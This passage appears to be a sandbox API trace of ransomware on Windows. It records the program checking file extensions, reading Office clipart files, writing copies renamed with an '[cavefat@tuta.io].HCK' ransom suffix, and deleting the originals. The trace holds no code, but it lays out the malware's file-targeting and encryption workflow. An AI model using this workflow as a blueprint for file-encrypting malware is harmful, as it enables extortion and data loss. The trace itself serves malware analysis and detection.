office\\root\\clipart\\pub60cor\\j0195260.wmf")) returned 1 [0170.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0170.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0170.298] lstrlenW (lpString=".doc") returned 4 [0170.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.298] lstrlenW (lpString=".docx") returned 5 [0170.299] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.299] lstrlenW (lpString=".pdf") returned 4 [0170.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.299] lstrlenW (lpString=".xls") returned 4 [0170.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.299] lstrlenW (lpString=".xlsx") returned 5 [0170.299] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.299] lstrlenW (lpString=".ppt") returned 4 [0170.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0170.299] lstrlenW (lpString=".zip") returned 4 [0170.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.299] lstrlenW (lpString=".rar") returned 4 [0170.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.299] lstrlenW (lpString=".bz2") returned 4 [0170.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.299] lstrlenW (lpString=".7z") returned 3 [0170.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0170.299] lstrlenW (lpString=".dbf") returned 4 [0170.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0170.299] lstrlenW (lpString=".1cd") returned 4 [0170.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0170.299] lstrlenW (lpString=".jpg") returned 4 [0170.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0170.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0170.299] lstrlenW (lpString=".doc") returned 4 [0170.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.299] lstrlenW (lpString=".docx") returned 5 [0170.299] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0170.299] lstrlenW (lpString=".pdf") returned 4 [0170.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.299] lstrlenW (lpString=".xls") returned 4 [0170.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.299] lstrlenW (lpString=".xlsx") returned 5 [0170.299] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0170.299] lstrlenW (lpString=".ppt") returned 4 [0170.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0170.299] lstrlenW (lpString=".zip") returned 4 [0170.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.300] lstrlenW (lpString=".rar") returned 4 [0170.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.300] lstrlenW (lpString=".bz2") returned 4 [0170.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.300] lstrlenW (lpString=".7z") returned 3 [0170.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0170.300] lstrlenW (lpString=".dbf") returned 4 [0170.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0170.300] lstrlenW (lpString=".1cd") returned 4 [0170.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF") returned 68 [0170.300] lstrlenW (lpString=".jpg") returned 4 [0170.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.300] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.300] lstrlenW (lpString="J0195788.WMF") returned 12 [0170.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.303] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3004) returned 1 [0170.303] CloseHandle (hObject=0x39c) returned 1 [0170.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf")) returned 0x220 [0170.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.309] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.309] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.315] GetLastError () returned 0x0 [0170.315] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xbbc, lpOverlapped=0x0) returned 1 [0170.316] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xbc0, lpOverlapped=0x0) returned 1 [0170.317] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.317] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.317] SetEndOfFile (hFile=0x39c) returned 1 [0170.318] CloseHandle (hObject=0x39c) returned 1 [0170.319] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.319] SetEndOfFile (hFile=0x380) returned 1 [0170.324] CloseHandle (hObject=0x380) returned 1 [0170.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf")) returned 1 [0170.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0170.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0170.333] lstrlenW (lpString=".doc") returned 4 [0170.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.333] lstrlenW (lpString=".docx") returned 5 [0170.333] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.333] lstrlenW (lpString=".pdf") returned 4 [0170.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.333] lstrlenW (lpString=".xls") returned 4 [0170.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.334] lstrlenW (lpString=".xlsx") returned 5 [0170.334] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.334] lstrlenW (lpString=".ppt") returned 4 [0170.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0170.334] lstrlenW (lpString=".zip") returned 4 [0170.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.334] lstrlenW (lpString=".rar") returned 4 [0170.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.334] lstrlenW (lpString=".bz2") returned 4 [0170.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.334] lstrlenW (lpString=".7z") returned 3 [0170.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0170.334] lstrlenW (lpString=".dbf") returned 4 [0170.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0170.334] lstrlenW (lpString=".1cd") returned 4 [0170.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0170.334] lstrlenW (lpString=".jpg") returned 4 [0170.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0170.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0170.334] lstrlenW (lpString=".doc") returned 4 [0170.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.334] lstrlenW (lpString=".docx") returned 5 [0170.334] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0170.334] lstrlenW (lpString=".pdf") returned 4 [0170.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.334] lstrlenW (lpString=".xls") returned 4 [0170.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.334] lstrlenW (lpString=".xlsx") returned 5 [0170.334] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0170.334] lstrlenW (lpString=".ppt") returned 4 [0170.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0170.334] lstrlenW (lpString=".zip") returned 4 [0170.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.334] lstrlenW (lpString=".rar") returned 4 [0170.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.334] lstrlenW (lpString=".bz2") returned 4 [0170.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.334] lstrlenW (lpString=".7z") returned 3 [0170.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0170.335] lstrlenW (lpString=".dbf") returned 4 [0170.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0170.335] lstrlenW (lpString=".1cd") returned 4 [0170.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF") returned 68 [0170.335] lstrlenW (lpString=".jpg") returned 4 [0170.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.335] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.335] lstrlenW (lpString="J0196354.WMF") returned 12 [0170.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0170.342] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=13702) returned 1 [0170.342] CloseHandle (hObject=0x368) returned 1 [0170.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf")) returned 0x220 [0170.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.349] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.349] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0170.356] GetLastError () returned 0x0 [0170.356] ReadFile (in: hFile=0x30c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3586, lpOverlapped=0x0) returned 1 [0170.365] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3590, lpOverlapped=0x0) returned 1 [0170.366] ReadFile (in: hFile=0x30c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.366] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.366] SetEndOfFile (hFile=0x3ac) returned 1 [0170.369] CloseHandle (hObject=0x3ac) returned 1 [0170.370] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.370] SetEndOfFile (hFile=0x30c) returned 1 [0170.373] CloseHandle (hObject=0x30c) returned 1 [0170.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0196354.wmf")) returned 1 [0170.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0170.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0170.380] lstrlenW (lpString=".doc") returned 4 [0170.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.380] lstrlenW (lpString=".docx") returned 5 [0170.380] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.380] lstrlenW (lpString=".pdf") returned 4 [0170.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.380] lstrlenW (lpString=".xls") returned 4 [0170.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.380] lstrlenW (lpString=".xlsx") returned 5 [0170.380] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.380] lstrlenW (lpString=".ppt") returned 4 [0170.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0170.380] lstrlenW (lpString=".zip") returned 4 [0170.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.380] lstrlenW (lpString=".rar") returned 4 [0170.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.380] lstrlenW (lpString=".bz2") returned 4 [0170.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.380] lstrlenW (lpString=".7z") returned 3 [0170.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0170.380] lstrlenW (lpString=".dbf") returned 4 [0170.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0170.380] lstrlenW (lpString=".1cd") returned 4 [0170.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0170.380] lstrlenW (lpString=".jpg") returned 4 [0170.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0170.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0170.380] lstrlenW (lpString=".doc") returned 4 [0170.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.380] lstrlenW (lpString=".docx") returned 5 [0170.381] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0170.381] lstrlenW (lpString=".pdf") returned 4 [0170.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.381] lstrlenW (lpString=".xls") returned 4 [0170.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.381] lstrlenW (lpString=".xlsx") returned 5 [0170.381] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0170.381] lstrlenW (lpString=".ppt") returned 4 [0170.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0170.381] lstrlenW (lpString=".zip") returned 4 [0170.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.381] lstrlenW (lpString=".rar") returned 4 [0170.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.381] lstrlenW (lpString=".bz2") returned 4 [0170.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.381] lstrlenW (lpString=".7z") returned 3 [0170.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0170.381] lstrlenW (lpString=".dbf") returned 4 [0170.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0170.381] lstrlenW (lpString=".1cd") returned 4 [0170.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0196354.WMF") returned 68 [0170.381] lstrlenW (lpString=".jpg") returned 4 [0170.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.381] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.381] lstrlenW (lpString="J0197983.WMF") returned 12 [0170.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0170.384] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=26252) returned 1 [0170.384] CloseHandle (hObject=0x368) returned 1 [0170.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf")) returned 0x220 [0170.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.393] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.393] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.399] GetLastError () returned 0x0 [0170.399] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x668c, lpOverlapped=0x0) returned 1 [0170.404] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6690, lpOverlapped=0x0) returned 1 [0170.405] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.405] WriteFile (in: hFile=0x380, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.405] SetEndOfFile (hFile=0x380) returned 1 [0170.407] CloseHandle (hObject=0x380) returned 1 [0170.408] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.408] SetEndOfFile (hFile=0x39c) returned 1 [0170.412] CloseHandle (hObject=0x39c) returned 1 [0170.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf")) returned 1 [0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0170.417] lstrlenW (lpString=".doc") returned 4 [0170.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.417] lstrlenW (lpString=".docx") returned 5 [0170.417] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.417] lstrlenW (lpString=".pdf") returned 4 [0170.417] 